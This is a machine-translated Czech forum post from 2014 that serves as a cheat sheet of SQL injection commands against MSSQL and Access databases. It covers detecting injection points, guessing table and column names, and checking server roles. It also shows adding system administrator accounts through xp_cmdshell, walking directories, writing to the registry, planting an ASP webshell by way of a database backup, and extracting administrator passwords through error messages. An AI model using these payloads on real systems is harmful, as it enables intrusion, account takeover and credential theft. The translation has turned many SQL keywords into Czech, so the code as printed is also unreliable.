Tento článek je zrcadlovým článkem o strojovém překladu, klikněte zde pro přechod na původní článek.

Pohled: 14167|Odpověď: 0

[Bezpečná komunikace] SQL injection běžné příkazy

[Kopírovat odkaz]
Zveřejněno 22.11.2014 17:17:21 | | |
1. Zjistit, zda existuje injekce
; a 1=1
; a 1=2

2. Předběžné posouzení, zda se jedná o mssql
; a uživatel>0

3. Posuzujte databázový systém
; a (vyberte count(*) ze sysobjects)>0 mssql
; a (vyberte count(*) z msysobjects)>0 přístup

4. Parametr injekce je znak
'a [kritéria dotazu] a ''='

5. Během vyhledávání nejsou žádné filtrované parametry
'a [kritéria dotazu] a '%25'='

6. Hádejte název stolu
; a (vyberte Count(*) z [název tabulky])>0

7. Hádejte pole
; a (vyberte Count(field name) z názvu tabulky)>0

8. Hádejte délku desky v poli
; a (vyberte horní 1 len(název pole) z názvu tabulky)>0

9. (1) Hádejte ASCII hodnotu pole (přístup)
; a (vyberte top 1 ASC(střed (název pole, 1,1)) z názvu tabulky)>0

(2) Odhadnout ASCII hodnotu pole (mssql)
; a (vyberte top 1 unicode(substring(field name,1,1)) z názvu tabulky)>0

10. Struktura oprávnění k testování (mssql)
; a 1=(vybrat IS_SRVROLEMEMBER('sysadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('serveradmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('setupadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('securityadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('diskadmin')); --
; a 1=(vybrat IS_SRVROLEMEMBER('bulkadmin')); --
; a 1=(vybrat IS_MEMBER('db_owner')); --

11. Přidat účet pro mssql a systém
; exec master.dbo.sp_addlogin uživatelské jméno; --
; exec master.dbo.sp_password null, uživatelské jméno, heslo; --
; exec master.dbo.sp_addsrvrolemember uživatelské jméno správce systému; --
; exec master.dbo.xp_cmdshell 'Net uživatelské jméno password /workstations:* /times:all /passwordchg:yes /passwordreq:yes /active:yes /add'; --
; exec master.dbo.xp_cmdshell 'net uživatelské jméno, heslo /add'; --
; exec master.dbo.xp_cmdshell 'uživatelské jméno správce lokální skupiny /add'; --

12. (1) Projít katalog
; Vytvořte tabulkové směry (Paths Varchar(100), ID Int)
; Vložte Dirs Exec master.dbo.xp_dirtree 'C:\'
; a (vyberte nejlepší 1 cesty z Dirs)>0
; a (vyberte první cesty z směrů, kde cesty nejsou v ('cesty získané z předchozího kroku'))>)

(2) Projít katalog
; Create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255)); --
; vložte dočasný výkonný master.dbo.xp_availablemedia; -- Získejte všechny proudové pohony
; vložte do temp(id) exec master.dbo.xp_subdirs 'c:\'; -- Získejte seznam podadresářů
; vložte do temp(id,num1) exec master.dbo.xp_dirtree 'c:\'; -- Získejte strukturu adresářového stromu pro všechny podadresáře
; vložte do temp(id) exec master.dbo.xp_cmdshell 'napiš c:\web\index.asp'; -- Zobrazit obsah souboru

13. Uložené procedury v mssql
xp_regenumvalues Kořenový klíč registru, podklíč
; exec xp_regenumvalues 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run' vrací všechny klíčové hodnoty v několika sadách záznamů
xp_regread Kořenový klíč, podklíčový klíč, klíč-hodnota
; exec xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' vrací hodnotu klíče setu
xp_regwrite Kořenový klíč, podklíč, název hodnoty, typ hodnoty, hodnota
Existují dva typy hodnot REG_SZ REG_DWORD pro typy znaků a pro celá čísla
; exec xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion','TestvalueName', 'reg_sz', 'hello' do registru
xp_regdeletevalue Kořenový klíč, podklíč, název hodnoty
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion', 'TestvalueName' pro odstranění hodnoty
xp_regdeletekey 'HKEY_LOCAL_MACHINE', 'SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' pro odstranění klíče, včetně všech hodnot pod tímto klíčem

14. MSSQL záloha vytváří webshell
Použít model
Create table cmd (str image);
vložte do cmd(str) hodnot ('<% Dim oScript %>');
záložní databázový model na disk='c:\l.asp';

15. Vestavěné funkce MSSQL
; a (vyberte @@version)>0 pro získání verze Windows
; a user_name()='dbo', aby se určilo, zda je připojený uživatel současného systému SA
; a (vybrat user_name()>0 Zničil připojené uživatele současného systému
; a (vyberte db_name()>0 pro získání aktuálně připojené databáze



Porušení ručně anotované databáze MSSQL

1. Zobrazit aktuální název tabulky a název sloupce
Zadejte "'having 1=1--" za injekční bod, abyste získali zpětnou zprávu v angličtině, kde vidíte název tabulky a sloupce. Zadejte "group by the list name having 1=1--" pro získání dalšího názvu sloupce; Pokračujte v zasílání "seskupte podle seznamu označených jmen tabulky, názvu odkryté tabulky. Název druhého sloupce má 1=1--", což vám dává další název sloupce. Commit stejným způsobem, dokud stránka nepřestane vracet chybové hlášky, abyste získali všechna jména sloupců. Zajímavosti: Násilné názvy tabulek a sloupců se používají v kombinaci s GROUP BY v SQL příkazech k podmíněným hodnocením. Protože je příkaz neúplný, databáze vrací chybovou zprávu a zobrazuje název tabulky a název sloupce. Základní metoda dokáže zobrazit pouze aktuální tabulku v databázi, a pokud tabulka obsahuje mnoho názvů sloupců, je velmi obtížné použít základní metodu.

Za prvé. Všechny názvy databází jsou odhaleny
Použijte příkaz "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=[N])" k zobrazení libovolných jmen tabulek a sloupců v databázi, kde "[N]" představuje N-tu tabulku v databázi.
Krok 1: Po vložení bodu odešlete následující příkaz: "and 0<>(select count(*) z master.dbo.sysdatabases where name>1 and dbid=12)", protože hodnota dbid je od 1 do 5, kterou systém používá, takže uživatel ji musel vytvořit z 6 a my jsme zadali jméno>1, pole názvu je pole typu znaku a porovnání čísel bude chybné, takže po odeslání IE vrátí následující informace: "Microsoft OLE DB Provider for ODBC Drivers error ?e07' [Microsoft][ODBC SQL Server Driver][SQL Server] převádí hodnotu nvarchar 'Northwind' na datový typ int sloupek. Tímto způsobem je hodnota pole s názvem odhalena, tedy získáme databázové jméno "Northwind". Změnou hodnoty "dbid" se zobrazí všechna jména databází.

a 0<>(vyberte count(*) z master.dbo.sysdatabases, kde jméno>1 a dbid=[N])-- Upravit N tak, aby se všechna jména databází zničila z 6


Za druhé. Zpřístupněte všechny názvy tabulek ve specifikované databázi
Po získání názvu databáze je nyní potřeba získat všechny názvy tabulek v knihovně, zadat následující příkaz: "and 0<>(select top 1 name from master.dbo.sysobjects where xtype='U')", zde je název tabulky v hlavní databázi a SQL příkaz dotazu vrací hodnotu jména, a poté ji porovnat s číslem 0, aby byla hodnota názvu vystavena. Po odevzdání byl název stolu "'spt_monito" odhalen.
Poté jsou vystaveny ostatní tabulky a je odesláno následující tvrzení: "and 0<>(vyberte top 1 jméno z master.dbo.sysobjects, kde xtype='U' a jméno není in('spt_monito'))", a je vystavena další tabulka s názvem "cd512". Soubor "and name not in(' spt_monito',' CD512',..))" Můžete zjistit všechny názvy stolů.

a 0<>(vyberte první jméno z [specifikovat název databáze].dbo.sysobjects kde xtype='U')--
a 0<>(vyberte nejvyšší 1 jméno z [uveďte název databáze].dbo.sysobjects kde xtype='U' a jméno není v('[Exploded table name]')--
a 0<>(vyberte první jméno z [uveďte název databáze].dbo.sysobjects kde xtype='U' a jméno není v ('[Explosive table name]', '[Exploded second table name]')))--

4. Zobrazit všechny názvy sloupců ve specifikované tabulce
a 0<>(vyberte count(*) z bbs.dbo.sysobjects kde xtype='U' a name='admin' a uid>(str(id)))
Převeďte hodnotu ID na typ znaku a poté ji porovnejte s celočíselnou hodnotou. ID číslo je venku. Hodnota je: 949578421 jméno='název tabulky'

a 0<>(vyberte první jméno z wutong.dbo.syscolumns, kde id=949578421)-- Název pole v administrátorské tabulce je odhalen

Znovu odeslat a 0<>(vyberte první jméno z wutong.dbo.syscolumns, kde id=949578421 a jméno není v ('adduser')))--
Soubor "and name not in(' spt_monito',' CD512',..))" Všechny názvy polí najdete v administrátorské tabulce.


a 0<>(vyberte count(*) z [uveďte název databáze].dbo.sysobjects kde xtype='U' a jméno='[Tabulka pole pro explodaci]' a uid>(str(id)))--ID hodnota názvu tabulky pole, které má být explozivováno

a 0<>(vyberte první jméno z [zadejte název databáze].dbo.syscolumns, kde id=hodnota explodovaného ID)-- Název pole v tabulce hodnot explodujících ID

a 0<>(vyberte první jméno z [uveďte název databáze].dbo.syscolumns, kde id=Hodnota explozivního ID a jméno není v ('[Exploded field name]')))--



5. Přečíst data ve specifikované tabulce

a 0<(vyberte A_ID z wutong.dbo.admin, kde A_UserID>1) – obsah, který rozbil A_PWD

a 0<(vyberte [pole, které existuje] z [uveďte název databáze].dbo.[název tabulky pro dotaz], kde [název pole pro explodující obsah]>1)--

a 0<(vyberte A_ID z wutong.dbo.admin, kde A_PWD>1 a A_UserID='admin')-- Heslo admina je odhaleno


a 0<(Vyberte Top 1 A_UserID OD admina, kde A_ID<>1)-- Administrátorské jméno id<>1 (fuhao)

a 0<(Vyberte Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao')-- Jméno druhého administrátora <> nerovná (tuiguang)

a 0<(Vybrat Top 1 A_UserID OD administrátora, kde A_ID <>1 a A_UserID <> 'fuhao' a A_UserID <> 'tuiguang')--

Po znání názvu tabulky a názvu sloupce databáze můžete použít "query příkaz" k přečtení jakýchkoli informací v databázi. Například pokud chcete číst N-tá data ve sloupci tabulky, můžete zadat příkaz: "and (Vyberte název Top 1 sloupce Z názvu tabulky, kde id=[N])>1" ([N] představuje N-tá data ve sloupci) a můžete zjistit požadovaná data z informací vrácených IE.






Předchozí:Jak skrýt komprimovaný RAR soubor ve jpg souboru
Další:Sbírejte "Harry Potter" 1~7 Vyndejte to a sdílejte Pokud se vám to nelíbí, nestříkejte to
Zřeknutí se:
Veškerý software, programovací materiály nebo články publikované organizací Code Farmer Network slouží pouze k učení a výzkumu; Výše uvedený obsah nesmí být používán pro komerční ani nelegální účely, jinak nesou všechny důsledky uživatelé. Informace na tomto webu pocházejí z internetu a spory o autorská práva s tímto webem nesouvisí. Musíte výše uvedený obsah ze svého počítače zcela smazat do 24 hodin od stažení. Pokud se vám program líbí, podporujte prosím originální software, kupte si registraci a získejte lepší skutečné služby. Pokud dojde k jakémukoli porušení, kontaktujte nás prosím e-mailem.

Mail To:help@itsvse.com